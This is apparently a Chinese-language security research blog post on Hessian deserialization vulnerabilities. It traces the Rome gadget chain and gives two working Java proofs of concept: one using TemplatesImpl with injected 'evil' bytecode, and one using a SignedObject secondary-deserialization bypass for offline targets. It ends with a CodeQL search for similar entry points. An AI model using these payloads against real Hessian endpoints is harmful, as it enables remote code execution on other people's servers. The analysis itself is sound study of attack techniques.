什么是Hessian Hessian 是 caucho 公司的工程项目,是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。Hessian 协议在设计时,重点的几个目标包括了:必须尽可能的快、必须尽可能紧凑、跨语言、不需要外部模式或接口定义等等。 对于这样的设计,caucho 公司其实提供了两种解决方案,一个是 Hession,一个是 Burlap。Hession 是基于二进制的实现,传输数据更小更快,而 Burlap 的消息是 XML 的,有更好的可读性。两种数据都是基于 HTTP 协议传输。Hessian 本身作为 Resin 的一部分,但是它的 com.caucho.hessian.client 和 com.caucho.hessian.server 包不依赖于任何其他的 Resin 类,因此它也可以使用在任何容器如 Tomcat 中,也可以使用在 EJB 中。事实上很多通讯框架都使用或支持了这个规范来序列化及反序列化类。 作为一个二进制的序列化协议,Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。
Hessian的使用 可以学习su18师傅写的文章
利用链分析 目前常见的 Hessian 利用链在 marshalsec 中共有如下五个:
Rome
XBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor
也就是抽象类 marshalsec.HessianBase 分别实现的 5个接口。 触发漏洞的触发点对应在 HessianBase 的三个实现类:Hessian \ Hessian2 \ Burlap
Rome 根据ysoserial上的调用链,对其进行分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /** * * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream) * * @author mbechler * */
首先,老生常谈,HashMap的readObject方法中的关键代码为
1 putVal(hash(key), key, value, false , false );
要进入HashMap的hash(key)
1 return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 );
此时要进入key的hashCode()(根据gadget可知,key为ObjectBean)
1 return this .equalsBean.beanHashCode();
接着进入EqualsBean的beanHashCode()
1 return this .obj.toString().hashCode();
根据gadget可知,进入ToStringBean的toString()
1 2 3 ... result = this .toString(prefix); ...
这里传了一个字符串,先进ToStringBean的toString(String)看一下逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private String toString (String prefix) { StringBuffer sb = new StringBuffer (128 ); try { List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this .beanClass); Iterator var10 = propertyDescriptors.iterator(); while (var10.hasNext()) { PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next(); String propertyName = propertyDescriptor.getName(); Method getter = propertyDescriptor.getReadMethod(); Object value = getter.invoke(this .obj, NO_PARAMS); this .printProperty(sb, prefix + "." + propertyName, value); } }catch (Exception var9) { ...
从上面我对代码的简单分析就能知道,这里利用TemplatesImpl.getOutputProperties()来实例化恶意类。 这里的beanClass会在new ToStringBean时进行赋值。
下面介绍一下prefix值的来源 选择如下构造函数
1 2 3 4 public ToStringBean (Class<?> beanClass, Object obj) { this .beanClass = beanClass; this .obj = obj; }
使用如下代码进行构造
1 new ToStringBean (Templates.class, templates)
并且在ToStringBean的toString()中存在这样一段代码
1 2 result = this .obj.getClass().getName(); prefix = result.substring(result.lastIndexOf("." ) + 1 );
这样的话对result和prefix的值就清晰了,也知道了beanClass值为Templates
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class romeExp1 implements Serializable { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static byte [] getEvilCode() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazzz = pool.get(Evil.class.getName()); byte [] code = clazzz.toBytecode(); return code; } public static void main (String[] args) throws Exception { byte [] evilCode = getEvilCode(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{evilCode}); setFieldValue(templates, "_name" , "alter" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (Templates.class, templates); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, toStringBean); ObjectBean objectBean = new ObjectBean (String.class, "alter" ); HashMap evilMap = new HashMap (); evilMap.put(objectBean, 1 ); setFieldValue(objectBean, "equalsBean" , equalsBean); seDse.serialize(evilMap,"romeExp1" ); } }
这里也可以通过JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入,这算比较主流的利用
Rome二次反序列化(TemplatesImpl+SignedObject) 如果环境时不出网的,那就无法配合JNDI去利用了;Hessian有一个限制:如果是 transient 和 static 字段则不会参与序列化反序列化流程。而TemplatesImpl的_tfactory就是被transient修饰的字段。因此对于TemplatesImpl的方式,导致被transient修饰的_tfactory对象无法写入造成空指针异常。
为什么原生反序列化就可以恢复这个trasient修饰的变量呢,答案就是在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#readObject中存在如下代码:
1 _tfactory = new TransformerFactoryImpl ();
所以当用如下代码序列化+反序列化时,才是真正使用Hessian做序列化和反序列化(之前都是Object类型),但不会执行恶意代码
1 2 3 4 5 6 7 Hessian2Output hessianOutput1=new Hessian2Output (new FileOutputStream ("romeExp1.ser" )); hessianOutput1.writeObject(evilMap); hessianOutput1.close(); Hessian2Input input = new Hessian2Input (new FileInputStream ("romeExp1.ser" ));input.readObject();
经过如下调用栈后,后面的流程相似
1 2 3 4 5 put:613, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:577, SerializerFactory (com.caucho.hessian.io) readObject:2093, Hessian2Input (com.caucho.hessian.io) main:81, romeExp1 (com.alter.serialize.ysoserial)
因此就需要找一个二次反序列化的点,对ToStringBean的构造方法的参数进行反序列化。 二次反序列化其中一个常见的方式是使用 java.security.SignedObject 。 这个类有个 getObject 方法会从流里使用原生反序列化读取数据,就造成了二次反序列化。
1 2 3 4 5 6 7 8 9 10 11 public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
注意,在序列化和反序列化时一定要分别使用Hessian2Output和Hessian2Input类型(主要看使用哪种类型进行readObject)poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 public class romeExp2 { public static void main (String[] args) throws Exception { HashMap hashMapx=getObject(); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject signedObject = new SignedObject (hashMapx,privateKey,signingEngine); ToStringBean toStringBean=new ToStringBean (SignedObject.class,signedObject); ToStringBean toStringBean1=new ToStringBean (String.class,"s" ); ObjectBean objectBean=new ObjectBean (ToStringBean.class,toStringBean1); HashMap hashMap=new HashMap (); hashMap.put(objectBean,"alter" ); Field obj= EqualsBean.class.getDeclaredField("obj" ); Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean" ); obj.setAccessible(true ); equalsBean.setAccessible(true ); obj.set(equalsBean.get(objectBean),toStringBean); Hessian2Output hessianOutput1=new Hessian2Output (new FileOutputStream ("romeExp2.ser" )); hessianOutput1.writeObject(hashMap); hessianOutput1.close(); Hessian2Input input = new Hessian2Input (new FileInputStream ("romeExp2.ser" )); input.readObject(); } public static HashMap getObject () throws Exception { byte [] bytecode= getEvilCode(); byte [][] bytee= new byte [][]{bytecode}; TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_bytecodes" ,bytee); setFieldValue(templates,"_name" ,"Code" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); ToStringBean toStringBean=new ToStringBean (Templates.class,templates); ToStringBean toStringBean1=new ToStringBean (String.class,"s" ); ObjectBean objectBean=new ObjectBean (ToStringBean.class,toStringBean1); HashMap hashMap=new HashMap (); hashMap.put(objectBean,"alter" ); Field obj=EqualsBean.class.getDeclaredField("obj" ); Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean" ); obj.setAccessible(true ); equalsBean.setAccessible(true ); obj.set(equalsBean.get(objectBean),toStringBean); return hashMap; } public static void setFieldValue (Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Field field=obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj,value); } public static byte [] getEvilCode() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazzz = pool.get(HandlerRespond.class.getName()); byte [] code = clazzz.toBytecode(); return code; } }
CodeQL查找SignedObject 也自己简单写了一个代码来查找符合二次反序列化入口的方法,限制条件如下:
满足get方法
public
无参
能够调用危险方法,如readObject、exec、loadClass等
数据库我直接用的师傅已经编译好的openjdk8u332edge只进行一次,可以看到能查到SignedObject 但是这里我不知道怎么设置路径长度,如果用edge*的话,有1477条结果,还是比较多的,但是危险方法只设置为readObject的话只有7条。 如果用污点追踪的话,虽然可以限制从source节点所在函数开始最多在往下调用函数的数量,但是该怎么把source设为getter方法呢?
yxxx师傅使用他自己开发的ByteCodeDL,也写了一篇查找方法的文章 ,感觉有时间可以用一下ByteCodeDL(师傅们太强了)